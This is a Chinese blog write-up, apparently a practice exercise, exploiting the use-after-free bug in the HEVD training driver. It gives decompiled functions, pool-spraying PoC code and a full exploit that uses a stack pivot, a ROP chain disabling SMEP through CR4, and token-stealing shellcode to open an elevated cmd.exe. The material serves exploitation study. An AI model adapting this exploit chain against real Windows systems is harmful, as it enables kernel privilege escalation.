【WinPwn】HEVD练习中的UaF利用"

admin 2026-11-01 17:53:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【WinPwn】 HEVD练习中的UaF利用

原创

joe1sn
joe1sn

不止Sec

2026年11月1日 10:01
北京

去阅读

继续使用HEVD作为练习目标

漏洞点分析

主要涉及到的函数如下

AllocateUaFObjectNonPagedPool,主要是分配内核堆,简称函数A

__int64 __fastcall AllocateUaFObjectNonPagedPool(){  const void **PoolWithTag; // rdi
  DbgPrintEx(0x4Du, 3u, \"[+] Allocating UaF Object\
\");  PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPool, 0x60u, 'kcaH');  if ( PoolWithTag )  {    DbgPrintEx(0x4Du, 3u, \"[+] Pool Tag: %s\
\", \"'kcaH'\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Type: %s\
\", \"NonPagedPool\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Size: 0x%X\
\", 96);    DbgPrintEx(0x4Du, 3u, \"[+] Pool Chunk: 0x%p\
\", PoolWithTag);    memset(PoolWithTag + 1, 65, 0x54u);    *((_BYTE *)PoolWithTag + 0x5B) = 0;    *PoolWithTag = UaFObjectCallbackNonPagedPool;\t//设置回调函数    g_UseAfterFreeObjectNonPagedPool = PoolWithTag;    DbgPrintEx(0x4Du, 3u, \"[+] UseAfterFree Object: 0x%p\
\", PoolWithTag);    DbgPrintEx(0x4Du, 3u, \"[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\
\", g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(0x4Du, 3u, \"[+] UseAfterFree->Callback: 0x%p\
\", *PoolWithTag);    return 0xC0000001LL;  }  else  {    DbgPrintEx(0x4Du, 3u, \"[-] Unable to allocate Pool chunk\
\");    return 0xC0000017LL;  }}

其中在g_UseAfterFreeObjectNonPagedPool(即PoolWithTag)设置了回调函数UaFObjectCallbackNonPagedPool

ULONG UaFObjectCallbackNonPagedPool(){  return DbgPrintEx(0x4Du, 3u, \"[+] UseAfter Free Object Callback NonPagedPool\
\");}

UseUaFObjectNonPagedPool,根据全局变量找到这个堆块,然后调用其回调函数,简称函数B

__int64 __fastcall UseUaFObjectNonPagedPool(){  unsigned int v0; // ebx
  v0 = 0xC0000001;  if ( g_UseAfterFreeObjectNonPagedPool )  {    DbgPrintEx(0x4Du, 3u, \"[+] Using UaF Object\
\");    DbgPrintEx(0x4Du, 3u, \"[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\
\", g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(      0x4Du,      3u,      \"[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\
\",      *(const void **)g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(0x4Du, 3u, \"[+] Calling Callback\
\");    if ( *(_QWORD *)g_UseAfterFreeObjectNonPagedPool )      (*(void (**)(void))g_UseAfterFreeObjectNonPagedPool)();    return 0;  }  return v0;}

FreeUaFObjectNonPagedPool:释放我们申请的堆块,简称函数C

__int64 __fastcall FreeUaFObjectNonPagedPool(){  unsigned int v0; // ebx
  v0 = 0xC0000001;  if ( g_UseAfterFreeObjectNonPagedPool )  {    DbgPrintEx(0x4Du, 3u, \"[+] Freeing UaF Object\
\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Tag: %s\
\", \"'kcaH'\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Chunk: 0x%p\
\", g_UseAfterFreeObjectNonPagedPool);    ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 'kcaH');    return 0;  }  return v0;}

并且释放后没有将g_UseAfterFreeObjectNonPagedPool指针置为0,造成可以释放后重用

一般情况下使用方式是A->B->C,但是可以A->C->B就构成了 Use after Free(释放后使用)

在C->B这个过程中如果能让我们的申请到这个区块,这样我们就能改写回调函数的内容从而实现漏洞利用

PoC编写

先写功能点吧,经典的CTF pwn步骤

void AllocatePool(HANDLE hDevice) {    DeviceIoControl(hDevice, 0x222013,        nullptr, 0,        NULL, 0,        nullptr, NULL);}void UsePool(HANDLE hDevice) {    DeviceIoControl(hDevice, 0x222017,        nullptr, 0,        NULL, 0,        nullptr, NULL);}void FreePool(HANDLE hDevice) {    DeviceIoControl(hDevice, 0x22201B,        nullptr, 0,        NULL, 0,        nullptr, NULL);}

现在我们的目标首先是将回调函数覆写(例如AAAAAAAAAA),先造成蓝屏

注意到AllocateUaFObjectNonPagedPool申请的chunk大小是0x60,实际分配大小应该是0x70。

这里我们无法精确的布置堆风水,所以顺着之前文章在内核池溢出的堆喷射进行攻击,这里尝试使用named pipe作为内核对象

不过HEVD提供了更简单版本的AllocateFakeObjectNonPagedPool函数

__int64 __fastcall AllocateFakeObjectNonPagedPool(_FAKE_OBJECT_NON_PAGED_POOL *UserFakeObject){  _OWORD *PoolWithTag; // rdi
  DbgPrintEx(0x4Du, 3u, \"[+] Creating Fake Object\
\");  PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x58u, 'kcaH');  if ( PoolWithTag )  {    DbgPrintEx(0x4Du, 3u, \"[+] Pool Tag: %s\
\", \"'kcaH'\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Type: %s\
\", \"NonPagedPool\");    DbgPrintEx(0x4Du, 3u, \"[+] Pool Size: 0x%X\
\", 0x58);    DbgPrintEx(0x4Du, 3u, \"[+] Pool Chunk: 0x%p\
\", PoolWithTag);    ProbeForRead(UserFakeObject, 0x58u, 1u);    *PoolWithTag = *(_OWORD *)UserFakeObject->Buffer;    PoolWithTag[1] = *(_OWORD *)&UserFakeObject->Buffer[16];    PoolWithTag[2] = *(_OWORD *)&UserFakeObject->Buffer[32];    PoolWithTag[3] = *(_OWORD *)&UserFakeObject->Buffer[48];    PoolWithTag[4] = *(_OWORD *)&UserFakeObject->Buffer[64];    *((_QWORD *)PoolWithTag + 10) = *(_QWORD *)&UserFakeObject->Buffer[80];    *((_BYTE *)PoolWithTag + 87) = 0;    DbgPrintEx(0x4Du, 3u, \"[+] Fake Object: 0x%p\
\", PoolWithTag);    return 0;  }  else  {    DbgPrintEx(0x4Du, 3u, \"[-] Unable to allocate Pool chunk\
\");    return 3221225495LL;  }}

能帮我们在内核创建一个大小为0x70的chunk(0x58大小对齐=0x60+0x10\_head = 0x70)

我最开始以为不需要对占用的chunk做特殊的限制直接全部覆写为C就能出发DSOD,然后调试发现最后Use会报错,

我们用0x4343434343434343覆写后:

然后报错

因为64 位模式下,虽然寄存器是 64 位,但实际虚拟地址只有 48 位(4 级页表)。一个地址要\"合法\"(canonical),必须满足:

bit 63:48 必须等于 bit 47 的符号扩展(即全 0 或全 1)

这里借鉴了[1]的地址改为0xdeadc0de即可满足

得到PoC

#include \"include/exp/uaf.hpp\"namespace exploit::uaf{    void AllocatePool(HANDLE hDevice) {        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE,            NULL, 0,            NULL, 0,            &result, NULL)) {            // std::cout << \"[x] AllocatePool Failed: \" << GetLastError() << \"\
\";            // exit(-1);        }    }    void UsePool(HANDLE hDevice) {        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_USE,            NULL, 0,            NULL, 0,            &result, NULL)) {            std::cout << \"[x] UsePool Failed: \" << GetLastError() << \"\
\";            exit(-1);        }    }    void FreePool(HANDLE hDevice) {        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_FREE,            NULL, 0,            NULL, 0,            &result, NULL)) {            std::cout << \"[x] AllocatePool Failed: \" << GetLastError() << \"\
\";            exit(-1);        }    }    void AllocateObject(HANDLE hDevice, unsigned int size) {        auto buffer = new char[size];        memset(buffer, 'C', size);        *(ULONG_PTR*)(buffer) = (ULONG_PTR)(0xdeadc0de);        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE_OBJECT,            buffer, size,            NULL, 0,            &result, NULL)) {            std::cout << \"[x] AllocateObject Failed: \" << GetLastError() << \"\
\";            exit(-1);        }        delete[] buffer;    }
    void Exploit(HANDLE hDevice) {        AllocatePool(hDevice);        std::cout << \"[+] Allocated Pool, next to free it\
\";        FreePool(hDevice);        std::cout << \"[+] Freed Pool, next to spray\
\";        for (size_t i = 0; i < 0x10000; i++) {            if (i % 100 == 0)                std::cout << \".\";            AllocateObject(hDevice, 0x60);        }
        std::cout << std::endl;        std::cout << \"[+] Wish luck enough to fill the hole, now use it\
\";        UsePool(hDevice);    }

} // namespace exploit

我一般运行两次就会BSOD

Exp编写

参考之前CVE-2023-21768的打法,使用VirtualAllocEx在申请合法内存填入shellcode然后执行,这里使用的Shellcode和之前栈溢出的一致,并且依旧需要进行ROP(绕过SMEP),这段可以参考StackOverflow中的ROP链,但是首先要做的是栈迁移。我学习了[1]中的栈迁移打法

首先找到ROP

ropper --file ntoskrnl.exe --console --clear-cachesearch mov esp, 0x
0x00000001402996f0: mov esp, 0x48000000; add esp, 0x28; ret;

然后利用windows API VirtualLock

BOOL VirtualLock(  [in] LPVOID lpAddress,  [in] SIZE_T dwSize);

将进程的虚拟地址空间的指定区域锁定到物理内存中,确保后续访问该区域不会产生页面错误。

这里依旧有一些小问题

在执行栈迁移(pivot)gadget 时,程序发生了崩溃。这类问题调试起来可能比较棘手,原因在于涉及两个方面:首先,我们需要在 gadget 前后预留一定的空间,以便内核能够对其进行读写操作;其次,必须确保栈内存已被调入物理内存(即已完成分页),因为在此阶段无法处理缺页异常(此时我们仍处于内核模式)。我们对概念验证(PoC)代码进行了更新:在缓冲区前额外分配了 0x1000 字节的空间,并使用 VirtualLock 函数强制将相关内存调入物理内存。

if (!VirtualLock(lpFakeStack, 0x14000)) {    std::cout << \"[x] VirtualLock lpFakeStack Failed\
\";    exit(-1);}

需要注意的是由于使用了栈迁移,这里暂时只能使用换页结束的shellcode。

完全EXP:

https://github.com/Joe1sn/WinX\_HEVD\_EXP/blob/main/src/exp/uaf.cpp

void Exploit(HANDLE hDevice) {    lpSpace = VirtualAlloc(NULL, sizeof(exploit::shellcode::SpawnTokenWithoutAnyProtect) + 0x10, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    RtlCopyMemory(lpSpace, exploit::shellcode::SpawnTokenWithoutAnyProtect, sizeof(exploit::shellcode::SpawnTokenWithoutAnyProtect));    printf(\"[*] Shellcode address: %p\
\", lpSpace);
    unsigned long long base = exploit::memtools::ulGetKernelBase((PCHAR)\"ntoskrnl.exe\");    unsigned long long pop_rcx = base + exploit::gadget::X_19045_2006::pop_rcx_ret;    unsigned long long mov_cr4_rcx = base + exploit::gadget::X_19045_2006::mov_cr4_rcx_ret;    lpStackPivot = base + exploit::gadget::X_19045_2006::mov_esp_add_ret;    printf(\"[*] pop rcx; ret: %p\
[*] mov cr4, rcx; ret: %p\
[*] mov esp 0x, add, ret: %p\
\", pop_rcx, mov_cr4_rcx, lpStackPivot);    ULONG_PTR stackAddr = FakeStackAddr - 0x1000;    lpFakeStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    printf(\"[*] Fake stack addr: %p\
\", lpFakeStack);
    printf(\"[*] Start set ROP\
\");    *(unsigned long long*)(FakeStackAddr + 0x28) = (unsigned long long)pop_rcx;    *(unsigned long long*)(FakeStackAddr + 0x30) = (unsigned long long)exploit::gadget::X_19045_2006::bypassSMEPVal;    *(unsigned long long*)(FakeStackAddr + 0x38) = (unsigned long long)mov_cr4_rcx;    *(unsigned long long*)(FakeStackAddr + 0x40) = (unsigned long long)lpSpace;
    std::cout << \"[+] Fragment agline\
\";    for (size_t i = 0; i < 0x2000; i++) {        if (i % 100 == 0)            std::cout << \".\";        AllocateObject(hDevice, 0x60);    }
    AllocatePool(hDevice);    std::cout << \"[+] Allocated Pool, next to free it\
\";    FreePool(hDevice);    std::cout << \"[+] Freed Pool, next to spray\
\";    for (size_t i = 0; i < 0x10000; i++) {        if (i % 100 == 0)            std::cout << \".\";        AllocateObject(hDevice, 0x60);    }
    std::cout << std::endl;    std::cout << \"[+] Wish luck enough to fill the hole, now use it\
\";
    if (!VirtualLock(lpFakeStack, 0x15000)) {        std::cout << \"[x] VirtualLock lpFakeStack Failed\
\";        exit(-1);    }    UsePool(hDevice);    system(\"cmd.exe\");}

参考

[1] https://vuln.dev/windows-kernel-exploitation-hevd-x64-use-after-free/#vulnerability-discovery

【WinPwn】HEVD练习中的UaF利用" 网络安全文章

【WinPwn】HEVD练习中的UaF利用"

本文介绍WinPwn工具在HEVD驱动漏洞练习中UaF利用的完整过程。文章分析了UaF漏洞点,涉及分配、使用、释放三个函数,指出释放后未置空指针导致释放后重用。通过构造PoC,利用HEVD提供的AllocateFakeObjectNonPagedPool函数进行堆喷射,覆写回调函数为0xdeadc0de地址,最终实现利用。文章提供了详细代码示例和调试过程,对内核漏洞利用学习有较高参考价值。
AI大模型安全架构构建与落地实践" 网络安全文章

AI大模型安全架构构建与落地实践"

本文系统阐述AI大模型安全架构构建与落地实践,指出大模型面临提示注入、数据投毒等新型风险,传统安全手段不足。提出分层纵深防御架构,涵盖基础设施、模型、数据、应用、治理五层,以安全网关与护栏为核心,结合外挂式安全与平台原生安全双轨方案,并给出企业五步落地路径与员工行动清单,强调架构设防与人人守线并重。
网络工程师如何面对女上司?一个网工的职场故事" 网络安全文章

网络工程师如何面对女上司?一个网工的职场故事"

文档讲述网络工程师老周面对新女上司的职场故事。起初他抵触新领导强调流程和报告,但一次核心交换机故障后,他意识到技术能力之外,清晰沟通和主动预防同样重要。他调整工作方式,提前准备变更方案和风险评估,最终获得认可。故事启示职场中应尊重专业与岗位,技术过硬是根本,沟通能力是发展之路。
评论:0   参与:  0